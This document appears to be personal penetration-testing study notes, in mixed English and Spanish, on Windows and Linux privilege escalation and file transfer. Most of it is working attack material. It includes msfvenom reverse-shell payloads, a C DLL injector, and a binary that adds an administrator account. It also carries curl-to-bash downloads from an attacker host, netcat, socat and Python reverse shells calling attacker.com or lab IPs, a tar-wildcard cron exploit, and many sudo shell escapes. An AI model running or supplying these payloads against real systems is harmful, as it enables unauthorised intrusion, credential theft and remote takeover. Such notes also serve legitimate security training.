C:\\xampp\\mysql\\bin\\my.ini
C:\\xampp\\php\\php.ini
C:\\xampp\\security\\webdav.htpasswd
C:\\xampp\\sendmail\\sendmail.ini
C:\\xampp\\tomcat\\conf\\server.xml

UAC bypass

If this setting is enabled, we could craft an MSI file and run it to elevate our privileges. Similarly, on Linux-based systems we can search for SUID 489 files.

we can switch to a high integrity level (if we are admin)

powershell.exe Start-Process cmd.exe -Verb runAs

example with fodhelper.exe


we can check forthis fodhelpers permissions inside its manifest

sigcheck.exe -a -m C:\\Windows\\System32\\fodhelper.exe

lanzamos procmon.exe filtramos por reg y vemos si busca algun registro que no existe en HKEY_CURRENT_USER

CAMBIAMOS EL REGISTRO Y LE MANDAMOS UN cmd.exe con high integrity level

LLMNR and NBT-NS poisoning

Link-Local Multicast Name Resolution (LLMNR) and Netbios Name Service (NBT-NS) are two components of Microsoft Windows machines. LLLMNR was introduced in Windows Vista and is the successor to NBT-NS.

If one machine tries to resolve a particular host, but DNS resolution fails, the machine will then attempt to ask all other machines on the local network for the correct address via LLMNR or NBT-NS.

Vulnerability

  1. The victim machine wants to go the print server at \printserver, but mistakenly types in \pintserver.

  2. The DNS server responds to the victim saying that it doesn’t know that host.

  3. The victim then asks if there is anyone on the local network that knows the location of \pintserver

  4. The attacker responds to the victim saying that it is the \pintserver

  5. The victim believes the attacker and sends its own username and NTLMv2 hash to the attacker.

  6. The attacker can now crack the hash to discover the password

https://github.com/lgandx/Responder

stored credentials

  • WPE-01 - Stored Credentials It is very common for administrators to use Windows Deployment Services in order to create an image of a Windows operating system and deploy this image in various systems through the network. This is called unattended installation. The problem with unattended installations is that the local administrator password is stored in various locations either in plaintext or as Base-64 encoded. These locations are:

| cmdkeys

“cmdkey /list”

| files unattended

C:\\unattend.xml C:\\Windows\\Panther\\Unattend.xml C:\\Windows\\Panther\\Unattend\\Unattend.xml C:\\Windows\\system32\\sysprep.inf C:\\Windows\\system32\\sysprep\\sysprep.xml

| iis config

C:\inetpub\wwwroot\web.config

| group policies

[hackthebox] querier

Local administrators passwords can also retrieved via the Group Policy Preferences. The Groups.xml file which contains the password is cached locally or it can be obtained from the domain controller as every domain user has read access to this file. The password is in an encrypted form but Microsoft has published the key and it can be decrypted.

C:\\ProgramData\\Microsoft\\Group Policy\\History\\????\\Machine\\Preferences\\Groups\\Groups.xml \\\\????\\SYSVOL\\\\Policies\\????\\MACHINE\\Preferences\\Groups\\Groups.xml

cpasswd attr

Services\\Services.xml ScheduledTasks\\ScheduledTasks.xml Printers\\Printers.xml Drives\\Drives.xml DataSources\\DataSources.xml

| commands to find credentials

`findstr /si password *.txt findstr /si password *.xml findstr /si password *.ini

C:\> dir /b /s unattend.xml C:\> dir /b /s web.config C:\> dir /b /s sysprep.inf C:\> dir /b /s sysprep.xml C:\> dir /b /s pass C:\> dir /b /s vnc.ini`

Registry


reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s reg query "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\Currentversion\\Winlogon" reg query "HKLM\\SYSTEM\\Current\\ControlSet\\Services\\SNMP"

| puty

reg query "HKCU\\Software\\SimonTatham\\PuTTY\\Sessions"

| mcaffee

%AllUsersProfile%Application Data\\McAfee\\Common Framework\\SiteList.xml

| VNC Stored

`reg query “HKCU\\Software\\ORL\\WinVNC3\\Password”`

| Windows Autologin:

`reg query “HKLM\\SOFTWARE\\Microsoft\\WindowsNT\\Currentversion\\Winlogon”`

| SNMP Parameters:

`reg query “HKLM\\SYSTEM\\Current\\ControlSet\\Services\\SNMP”`

Powersploit


Get-UnattendedInstallFile Get-Webconfig Get-ApplicationHost Get-SiteListPassword Get-CachedGPPPassword Get-RegistryAutoLogon

Kernel Vulns

WPE-02 - Windows Kernel

try to search for third party drivers exploits before kernel ones. example: USBPcap

discover patches

wmic qfe get Caption,Description,HotFixID,InstalledOn

exploit suggester

| watson

https://github.com/rasta-mouse/Watson

C:> Watson.exe

| Windows Exploit Suggester - Next Generation

https://github.com/bitsadmin/wesng

wes.py --update wes.py systeminfo.txt wes.py arctic-systeminfo.txt --muc-lookup --exploits-only -i "Elevation of Privilege"

| Windows Exploit Suggester

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

python /home/nikhil/scripts/windows-exploit-suggester.py -d 2016-07-02-mssb.xls -i systeminfo -l

  • l : show only local exploits

compiling in windows

`C:\Program Files\mingw-w64\i686-7.2.0-posix-dwarf-rt_v5-rev1> mingw-w64.bat

C:\> gcc 41542.c -o exploit.exe`

list

  • MS16-135

  • MS16-032

  • MS15-051

  • MS14-058

  • MS16-016

  • MS14-040

  • MS14-002

  • MS10-092

  • MS10-015

  • MS14-002

  • MS15-061

  • MS11-062

  • MS11-080

  • MS15-076

  • MS16-075

  • MS15-010

  • MS11-046

DLL Injection

WPE-03 - DLL Injection

DLL injection is a technique which allows an attacker to run arbitrary code in the context of the address space of another process. If this process is running with excessive privileges then it could be abused by an attacker in order to execute malicious code in the form of a DLL file in order to elevate privileges.

Specifically this technique follows the steps below:

  1. A DLL needs to be dropped into the disk

  2. The “CreateRemoteThread” calls the “LoadLibrary”

  3. The reflective loader function will try to find the Process Environment Block (PEB) of the target process using the appropriate CPU register and from that will try to find the address in memory of kernel32dll and any other required libraries.

  4. Discovery of the memory addresses of required API functions such as LoadLibraryA, GetProcAddress, and VirtualAlloc.

  5. The functions above will be used to properly load the DLL into memory and call its entry point DllMain which will execute the DLL.

Manual exploitation


1 create dll

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.14 LPORT=4444 -f dll -o evil.dll

2 set up listener

nc -nlvp 4444

3 compile code :

`#include <windows.h> #include <stdio.h>

int main(int argc, char* argv[]) { HANDLE processHandle; PVOID remoteBuffer; wchar_t dllPath[] = TEXT("C:\\users\\nop\\evil.dll");

printf("Injecting DLL to PID: %i\\n", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
CloseHandle(processHandle);

return 0;

}`

4 find a process id to inject

tasklist

5 transfer and run dll-injector.exe

dll-injector.exe <PID>

6 TODO

cambiar el codigo para pasarle por parametro el path al dll

weak services

WPE-04 - Weak Service Permissions

serviio case

| check services

tasklist /V

or

wmic process get ProcessID,ExecutablePath

or:

Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'}

serviio looks installed in program files . this means the service is user-installed and the software developer is in charge of the directory structure as well as permissions of the software.

| check permissions

icacls "C:\\Program Files\\Serviio\\bin\\ServiioService.exe" C:\\Program Files\\Serviio\\bin\\ServiioService.exe BUILTIN\\Users:(I)(F)

it appears that any user (BUILTIN\Users) on the system has full read and write access to it.

| masks permissions

  • F Full access

  • M Modify access

  • RX Read and execute access

  • R Read-only access

  • W Write-only access

| compile binary to replace serviio

#include <stdlib.h> int main () { int i; i = system ("net user evil Ev!lpass /add"); i = system ("net localgroup administrators evil /add"); return 0; }

kali@kali:~$i686-w64-mingw32-gcc adduser.c -o adduser.exe

| replace the binary

move adduser.exe "C:\\Program Files\\Serviio\\bin\\ServiioService.exe"

| option 2 chane registry

sc config daclsvc binpath= "C:\\Users\\user\\Desktop\\shell.exe"

| restart service

net stop Serviio

if we dont have access to restart a service we can reboot maybe?

shutdown /r /t 0

DLL hijacking

WPE-05 - DLL Hijacking In Windows environments when an application or a service is starting it looks for a number of DLL’s in order to function properly. If these DLL’s doesn’t exist or are implemented in an insecure way (DLL’s are called without using a fully qualified path) then it is possible to escalate privileges by forcing the application to load and execute a malicious DLL file.

It should be noted that when an application needs to load a DLL it will go through the following order:

  1. The directory from which the application is loaded

  2. C:\Windows\System32

  3. C:\Windows\System

  4. C:\Windows

  5. The current working directory

  6. Directories in the system PATH environment variable

  7. Directories in the user PATH environment variable

1 find process with missing dll

use procmon from sysinternals to check for missing dlls (“NAME NOT FOUND”)

1.1 filters

Process Name is <[Value]> Result is <[NAME NOT FOUND]> Path ends with .dll*

2 confirm that you have write permissions to any of the folders

c:/path/to_inject/dll>: icacls . risus-PC\\risusUser:(I)(OI)(CI)(F)

importantn values:

a sequence of simple rights: N — no access F — full access M — modify access RX — read and execute access R — read-only access W — write-only access D — delete access

3 create dll

3.1 reverse shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.14 LPORT=4444 -f dll -o evil.dll

3.2 create user

TODO

4 start listener

nc -nlvp 4444

5 copy dll to path and rerun service/program

POTATOS

HOT POTATO


WPE-06 - Hot Potato

Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true

ROTTEN POTATO


WPE-10 - Token Manipulation is possible to escalate privileges from a service that is not running as SYSTEM but as a network service as well.

JUICY POTATO


source: https://github.com/ohpe/juicy-potato

detect

whoami /priv SeImpersonatePrivilege Enabled <- requirement or SeAssignPrimaryToken

requirements

  • you need:

    • t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both -p <program>: program to launch -l <port>: COM server listen port -c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097}) can peek anotherone from CLSIDs

ROGUE POTATO


https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/ https://github.com/antonioCoco/RoguePotato

group policy preferences

WPE-07 - Group Policy Preferences

Prior to patch MS14-025, there was a horrible storage of local administrator password, in a readable SMB share, SYSVOL, if the local administrator account was deployed via group policy.

the keys are encripted but microsoft published the key

4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8 f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b

1 find Groups.xml

ex:

C:\\ProgramData\\Microsoft\\Group Policy\\History\\????\\Machine\\Preferences\\Groups\\Groups.xml \\\\????\\SYSVOL\\\\Policies\\????\\MACHINE\\Preferences\\Groups\\Groups.xml

or:

findstr /S /I cpassword \\\\<FQDN>\\sysvol\\<FQDN>\\policies\\*.xml

2 decrypt

| PowerUp.ps1

Get-CachedGPPPassword //For locally stored GP Files Get-GPPPassword //For GP Files stored in the DC

| winpeas

winpeas checks for it

| gpp-decrypt

cat groups.XML ... cpassword="edbiausdhiuhasd1289471890234nias098124n98" ... gpp-decrypt edbiausdhiuhasd1289471890234nias098124n98

unquoted service path

WPE-08 - Unquoted Service Path

We can use this attack when we have write permissions to a service’s main directory and subdirectories but cannot replace files within them.

if we have this path unquoted:

C:\\Program Files\\My Program\\My Service\\service.exe

windows will try to run in order:

C:\\Program.exe C:\\Program Files\\My.exe C:\\Program Files\\My Program\\My.exe C:\\Program Files\\My Program\\My service\\service.exe

| 1 find vulnerable services

wmic service get name,displayname,pathname,startmode

or

wmic service get name,displayname,pathname,startmode |findstr /i “auto” |findstr /i /v “c:\\windows\\\\” |findstr /i /v “””

ex:

C:\\Program Files (x86)\\Sync Breeze Enterprise\\bin\\syncbrs.exe

| 2 create reverse shell

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.100.220 LPORT=4445 -f exe -o shell2.exe

| 3 Rename and move binary

C:\\Program Files (x86)\\Sync.exe

| 4 open listener

nc -nlvp 4445

| 5 restart service

net stop "Sync Breeze Enterprise" net start "Sync Breeze Enterprise"

linux privilege escalation

based on: https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

https://www.slideshare.net/nullthreat/fund-linux-priv-esc-wprotections?next_slideshow=1

1 AUTOMATIC INFO GATHERING


linPEAS

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite

./linpeas.sh

LinEnum

https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh

curl <http://attackerip/LinEnum.sh> | /bin/bash ./LinEnum.sh -t

Linuxprivchecker

http://www.securitysift.com/download/linuxprivchecker.py

2 MANUAL INFO GATHERING


Operating System

cat /etc/issue cat /etc/*-release cat /etc/lsb-release # Debian based lsb_release -a cat /etc/redhat-release # Redhat based

user info

id whoami last

kernel

https://github.com/mzet-/linux-exploit-suggester

https://github.com/jondonas/linux-exploit-suggester-2

cat /proc/version uname -a uname -ar uname -mrs rpm -q kernel dmesg | grep Linux ls /boot | grep vmlinuz-

environmental variables

cat /etc/profile cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout env set

history

~/.bash_history ~/.nano_history ~/.atftp_history ~/.mysql_history ~/.php_history ~/.viminfo

Application services

ps aux ps -ef top cat /etc/services systemctl status (service) top service --status-all

check installed programs, permissions, hidden files

ls -lah ls -lah /usr/bin ls -lah /sbin yum list installed dpkg-query -l dpkg -l rpm -qa ls -lah /usr/share/applications | awk -F '.desktop' ' { print $1}'

Whats running?

ps aux netstat -antup

whats installed?

dpkg -l rpm -qa (centOS/OpenSUSE) uname -a

Check any unmounted drives

cat /etc/fstab

Writable by current user

find / perm /u=w -user whoami2>/dev/null find / -perm /u+w,g+w -f -userwhoami2>/dev/null find / -perm /u+w -userwhoami 2>/dev/nul

Any service running by root?

ps aux|grep "root" /usr/bin/journalctl (Which is normally not readable by a user) << cron job?

find / -type l -ls

using pspy to monitor process

pspy

3 SUDO, abusing and misconfiguration


sudo su sudo -l ex: (onuma) (NOPASSWD)/bin/tar -> sudo -u onuma /bin/tar sudo -i sudo /bin/bash sudo su- sudo ht pkexec visudo

4 SUID


  • suid:cuando se ejecuta el archivo se ejecuta con el permiso del owner (chmod 4000)

  • sgid: corre como el grupo del owner.(chmod 2000)

  • sticky bit: solo el owner puede borrar o renombrar adentro de la carpeta.

`find / -perm -g=s -type f 2>/dev/null # SGID find / -perm -u=s -type f 2>/dev/null # SUID

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID < full search
for i in locate -r "bin$"; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin < quicker

-find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied) find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

find / perm /u=s -user "User name that you are looking for" 2>/dev/null`

Find SUID root files

find / -user root -perm -4000 -print 2>/dev/null

Find SGID root files:

find / -group root -perm -2000 -print 2>/dev/null

Find SUID and SGID files owned by anyone:

find / -perm -4000 -o -perm -2000 -print 2>/dev/null

5 DOCKER


http://reventlov.com/advisories/using-the-docker-command-to-root-the-host

6 KERNEL


7 CRON


syntax

  • `* * * * <command to be executed>


| | | | | | | | | ----- Weekday (0 - 7) (Sunday is 0 or 7, Monday is 1...) | | | ------- Month (1 - 12) | | --------- Day (1 - 31) | ----------- Hour (0 - 23) ------------- Minute (0 - 59)`

check

cat /etc/cron.d/* cat /var/spool/cron/* crontab -l cat /etc/crontab cat /etc/cron.(time) systemctl list-timers ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root

option 1

editing the scripts run by cron:

adding user:

TODO

reverse shell:

option 2

if the files are not misconfigured, we can try to exploit the script if its behavior is insecure.

8 ABUSING misconfigured Permissions


private ssh keys

~/.ssh/authorized_keys : specifies the SSH keys that can be used for logging into the user account ~/.ssh/identity.pub ~/.ssh/identity ~/.ssh/id_rsa.pub ~/.ssh/id_rsa ~/.ssh/id_dsa.pub ~/.ssh/id_dsa /etc/ssh/ssh_config : OpenSSH SSH client configuration files /etc/ssh/sshd_config : OpenSSH SSH daemon configuration file

find / \\( -perm -2000 -o -perm -4000 \\) -exec ls -ld {} \\; 2>/dev/null find / \\( -perm -2000 -o -perm -4000 \\) -exec ls -ld {} \\; 2>/dev/null cat /etc/sudoers cat /etc/passwd

Writable file and nobody files

find / -xdev -type d \\( -perm -0002 -a ! -perm -1000 \\) -print # world-writeable files find /dir -xdev \\( -nouser -o -nogroup \\) -print # Noowner files

Any script files that we can modify?

find / -writable -type f -name "*.py" 2>/dev/null #find all python file that can be write by us

Find password

grep -rnw '/' -ie 'pass' --color=always grep -rnw '/' -ie 'DB_PASS' --color=always grep -rnw '/' -ie 'DB_PASSWORD' --color=always grep -rnw '/' -ie 'DB_USER' --color=always

Find incorrect file permision

Find / -perm -2 ! -type l -ls 2>/dev/null

Find files that are not owned by any user:

find / -nouser -print 2>/dev/null

Find files that are not owned by any group:

find / -nogroup -print 2>/dev/null

9 GETTING OUT RESTRICTED SHELLS


  • fijate que variables de entorno hay con env

  • corre ‘export -p’ para ver que variables son read only y si hay alguna con permiso de escritura ( $PATH y $SHELL? :D )

  • check GTFO bins (https://gtfobins.github.com)

    compgen -c # check available commands

  • con ssh podes forzar tty

    ssh [email protected] -i ~/.ssh/.monitor -t bash

10 PATH HIJACKING


si un cron corre un binario o script SIN PATH , ejemplo

cat /home/sarasa

dependiendo de los permisos podriamos cambiar el path de quien corre el comando y poner PRIMERO el path a donde metemos nuestro evil cat.

Common

`si tenes chsh podes cambiar la shell a /bin/bash bin/sh cp /bin/sh .; sh ftp -> !/bin/sh gdb -> !/bin/sh more/ less/ man -> !/bin/sh vi -> :!/bin/sh : cuando salis de vi terminas con la shell . scp -S /tmp/getMeOut.sh x y : Refer Breaking out of rbash using scp awk ‘BEGIN {system(“/bin/sh”)}’ find / -name someName -exec /bin/sh ; tee: echo "Your evil code" | tee script.sh ssh username@IP -t "/bin/sh" ssh username@IP -t "bash --noprofile" bash perl -e 'exec "/bin/sh";'
/bin/sh -i
exec "/bin/sh";
echo os.system('/bin/bash')
/bin/sh -i
ssh user@$ip nc $localip 4444 -e /bin/sh
export TERM=linux

vi--> :!bash vi--> :set shell=/bin/bash:shell awk--> awk 'BEGIN {system("/bin/bash")}' find--> find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' \; perl--> perl -e 'exec "/bin/bash";' Nmap
nmap -V <Nmap version 2.02 - 5.21 had an interactive mode
nmap --interactive
nmap> !sh

Vim
Modify system file, e.g. passwd?
vim.tiny
- Press ESC key
:set shell=/bin/sh
:shell

find
touch pentestlab
find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;

Bash
bash -p

More

Less
less /etc/passwd
!/bin/sh

Nano
Can you modify system file?
Modify /etc/suoders
\<user> ALL=(ALL) NOPASSWD:ALL

cp
Use cp to overwrite passwd with a new password`

vim

:version :python3 import pty;pty.spawn("/bin/bash")

Usando scripting laguages.

python -c 'import os; os.system("/bin/bash") perl -e 'exec "/bin/sh";' etc...

10 EXAMPLES


Mysql run by root

MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library https://www.exploit-db.com/exploits/1518/

You can also try:

select sys_exec('echo test>/tmp/test.txt'); select sys_eval('echo test>/tmp/test.txt');

Mempodipper

steve dosent have privilage

steve@ubuntu: cat /etc/shadow permission denied steve@ubuntu: cat /etc/issue ubuntu 11.10 steve@ubuntu: uname -a linux ubu 3.0.0-12-generic < por ahi es vulnerable el kernel

podemos buscar en exploit database a ver que onda

encontramos Mempodipper - Linux Local Root for >=2.6.39, 32-bit and 64

steve@ubuntu: wget -O exploit.c <http://www.exploit-db.com/download/18411> steve@ubuntu: gcc exploit.c -o exploit steve@ubuntu: file exploit exploit: ELF etc...... ste@ubuntu: id uid=10000 gid=10000 groups, etc steve@ubuntu: ./exploit #id uid=0(root)

wget without wget

nformation about Bash Built-in /dev/tcp File (TCP/IP)

The following script fetches the front page from Google:

exec 3<>/dev/tcp/www.google.com/80 echo -e "GET / HTTP/1.1\\r\\nhost: <http://www.google.com>\\r\\nConnection: close\\r\\n\\r\\n" >&3 cat <&3

The first line causes file descriptor 3 to be opened for reading and writing on the specified TCP/IP socket. This is a special form of the exec statement. From the bash man page:

Second line: After the socket is open we send our HTTP request out the socket with the echo … >&3 command. The request consists of:

GET / HTTP/1.1 host: <http://www.google.com> Connection: close

Each line is followed by a carriage-return and newline, and all the headers 2are followed by a blank line to signal the end of the request (this is all standard HTTP stuff).

Third line: Next we read the response out of the socket using cat <&3, which reads the response and prints it out.

11 wildcards ?


hay algun cron corriendo con wildcards?

12 linux capabilities


  • find cap files

    getcat -r * 2>/dev/null

  • creating an evil cap

    [root@centos7-1 mnt]# cp -p /bin/bash /mnt/myBash [root@centos7-1 mnt]# setcap all+epi /mnt/myBash [root@centos7-1 mnt]# getcap /mnt/myBash /mnt/myBash =eip

    then

    `/mnt/myBash --inh-caps +all --reuid 0 /bin/bash

    root`

    (no mne funco en debian)

    lin-security + GTFO bins

    1 tip


    “…Turn on privileged mode… If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, these actions are taken and the effective user id is set to the real user id. If the -p option is supplied at startup, the effective user id is not reset. Turning this option off causes the effective user and group ids to be set to the real user and group ids…”

    bash -p

    2 gtfobins


    | check

    sudo -l User bob may run the following commands on linsecurity: (ALL) /bin/ash, /usr/bin/awk, /bin/bash, /bin/sh, /bin/csh, /usr/bin/curl, /bin/dash, /bin/ed, /usr/bin/env, /usr/bin/expect, /usr/bin/find, /usr/bin/ftp, /usr/bin/less, /usr/bin/man, /bin/more, /usr/bin/scp, /usr/bin/socat, /usr/bin/ssh, /usr/bin/vi, /usr/bin/zsh, /usr/bin/pico, /usr/bin/rvim, /usr/bin/perl, /usr/bin/tclsh, /usr/bin/git, /usr/bin/script, /usr/bin/scp

    | ash

    can be use to scape a restricted shell if granted sudo is easy privesc

    sudo ash

    | awk

    can be use to scape a restricted shell , if can run as sudo, insta privesc

    sudo awk 'BEGIN {system("/bin/bash")}'

    | csh

    like ash

    | curl

    # file read

    LFILE=/tmp/file_to_read curl file://$LFILE

    | ed

    sudo ed !/bin/bash

    | env

    # shell

    env /bin/sh

    # sudo

    sudo env /bin/sh

    expect

    # shell

    sudo expect -c 'spawn /bin/sh;interact'

    find

    # shell

    sudo find . -exec /bin/sh \\; -quit

    # suid

    `sudo sh -c 'cp $(which find) .; chmod +s ./find'

    ./find . -exec /bin/sh -p \; -quit`

    ftp

    # shell

    sudo ftp !/bin/sh

    less

    # shell

    sudo less /etc/profile !/bin/sh

    # file read

    less /etc/profile :e file_to_read

    man

    # shell

    sudo man man !/bin/sh

    more

    # shell

    TERM= sudo more /etc/profile !/bin/sh

    scp

    # shell

    TF=$(mktemp) echo 'sh 0<&2 1>&2' > $TF chmod +x "$TF" sudo scp -S $TF x y:

    socat

    # shell

    sudo socat stdin exec:/bin/sh

    # file upload

    on attacker run

    socat -u file:file_to_send tcp-listen:12345,reuseaddr

    on box:

    RHOST=attacker.com RPORT=12345 LFILE=file_to_save socat -u tcp-connect:$RHOST:$RPORT open:$LFILE,creat

    # file download

    on attacker run

    socat -u file:file_to_send tcp-listen:12345,reuseaddr

    on box

    RHOST=attacker.com RPORT=12345 LFILE=file_to_save socat -u tcp-connect:$RHOST:$RPORT open:$LFILE,creat

    ssh

    # shell

    ssh localhost $SHELL --noprofile --norc sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

    vi

    # shell

    sudo vi -c ':!/bin/sh' /dev/nul

    vi :set shell=/bin/sh :shell

    pico

    # shell

    sudo pico ^R^X reset; sh 1>&0 2>&0

    rvim

    # shell

    sudo rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' sudo rvim -c ':lua os.execute("reset; exec sh")'

    # reverse shell

    on kali

    socat file:tty,raw,echo=0 tcp-listen:12345

    on box

    export RHOST=attacker.com export RPORT=12345 rvim -c ':py import vim,sys,socket,os,pty;s=socket.socket() s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn("/bin/sh") vim.command(":q!")'

    perl

    # shell

    sudo perl -e 'exec "/bin/sh";'

    tclsh

    # shell

    sudo tclsh exec /bin/sh <@stdin >@stdout 2>@stderr

    git

    # shell

    PAGER='sh -c "exec sh 0<&1"' git -p help sudo PAGER='sh -c "exec sh 0<&1"' git -p help

    sudo git help config !/bin/sh

    script

    # shell

    script -q /dev/null sudo script -q /dev/null

    strace

    sudo strace -o /dev/null /bin/bash

    2 HASH in /etc/passwd


    cat /etc/passwd insecurity:AzER3pBZh6WZE:0:0::/:/bin/sh

    echo AzER3pBZh6WZE > linisecurity hashcat -m 1500 -a 0 linsecurity rockyou.txt --force

    3 CRON , TAR, wildcard


    # 1

    cat /etc/crontab */1 #### \\# #### \\# #### \\# #### \\# root /etc/cron.daily/backup

    # 2

    cat /etc/cron.daily/backup for i in $(ls /home); do cd /home/$i && /bin/tar -zcf /etc/backups/home-$i.tgz *; done

    # 3 start listener

    nc -nlvp 443

    # 4 exploit tar wildcard use by cronjob

    echo "mkfifo /tmp/mini; nc 192.168.100.220 443 0</tmp/mini | /bin/sh >/tmp/mini 2>&1; rm /tmp/mini" > /home/bob/shell.sh && chmod +x /home/bob/shell.sh echo "" > "--checkpoint-action=exec=sh shell.sh" echo "" > --checkpoint=1

    4 find hidden files


    find / -name ".*" -type f -path "/home/*" 2>/dev/null /home/susan/.secret

    5 SUID 1


    # find suid files

    find / -perm -4000 -type f -exec ls -lah {} 2>/dev/null \\;

    # xxd

    xxd "/etc/shadow" | xxd -r

    6 SUID 2


    # find suid files

    find / -perm -4000 -type f -exec ls -lah {} 2>/dev/null \\;

    # taskset

    taskset 1 /bin/bash -p

    7 NFS


    showmount -e 192.168.100.111 mount 192.168.100.111:/home/peter /mnt/peter

    we cant write to /mnt/peter (no_root_squash) BUT, we can create an user with the same uid/gid que en el export, y asi escribir al volumen montado y subir unas ssh keys

    check uid y gid

    ls -lan

    create user in kali

    root@kali:/tmp/peter# groupadd -g 1005 peter root@kali:/tmp/peter# adduser peter -uid 1001 -gid 1005 root@kali:/tmp/peter# su peter

    now we have write access to the nfs volume

    8 DOCKER


    rootplease

    docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

    9 ver gtfobins


    https://gtfobins.github.io/

    10 systemd


    check

    ls -la /lib/systemd/system/ debug.system is owned by peter

    change

    then we can change /lib/systemd/system/debug.system ExecStart= to a script that we want to run as root (ej reverseshell)

    restart service

    probably we need to reboot the box

post exploitation

windows file transfer

INDEX


  1. simple webservers

  2. smbserver

  3. tftp

  4. ftp

  5. SCP

  6. VBScript

  7. powershell

  8. upgrade cmd to powershell

0 simple webserver


| python 2.7

python2 -m SimpleHTTPServer

| python3

python3 -m http.server

| ruby

ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start"

| php

php -S 0.0.0.0:8888

1 Smbsever (impacket)


impacket-smbserver

| kali:

smbserver.py myshare /tmp/smbshare -smb2

| windows:

net use M: \\\\<kali-ip>\\myshare

| Tmb se puede correr desde smb

\\\\10.10.10.1\\privesc.exe whoami

2 TFTP


Not the ideal file protocol, pero puede estar y lo podemos llegar a usar

hacker

rootkali: mkdir /tftp root@kali: atftpd --daemon --port 69 \\tftp\\ root@kali: cp nc.exe \\tftp

| target

C:ProgramFiles\\SLmail\\System> tftp -i 192.168.30.5 GET nc.exe

3 FTP


es interactivo el de windows, asi que no vamos a poder, pero el server ftp de windwos nos deja usar scripts :D

| hacker

root@kali: apt-get install pure-ftpd root@kali: cat setup-ftp root@kali: ./setup-ftp

comands a poner en el archivo:

root@kali: cat ftp.commands echo open 192.168.58.5 21 > ftp.txt echo offsec>> ftp.txt echo lab>> ftp.txt echo bin>> ftp.txt echo GET evil.exe >> ftp.txt echo bye >> ftp.txt ftp -s:ftp.txt

| target

C:\\programs files\\slmail\\System> cop pyasteamos lo que esta aca arriba y deberia ejecutar todo

4 SCP


scp <fileToUpload> user@remote:/path

5 VBScript


para windows mas viejos

| script

`echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs

echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs echo Err.Clear >> wget.vbs

echo Set http = Nothing >> wget.vbs echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs echo If http is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs echo If http is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs

echo If http is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs echo http.Open "GET", strUrl, False >> wget.vbs echo http.Send >> wget.vbs

echo varByteArray = http.ResponseBody >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs

echo strData = "" >> wget.vbs echo strBuffer = "" >> wget.vbs echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs

echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs echo Next >> wget.vbs echo ts.Close >> wget.vbs`

| target

copy pasteamos el script

C:\\program> dir wget.vbs < para ver que se bajo C:\\program> cscript wget.vbs <http://192.168.30.5/exploit.exe> exploit.exe

6 PowerShell


| Download File to path

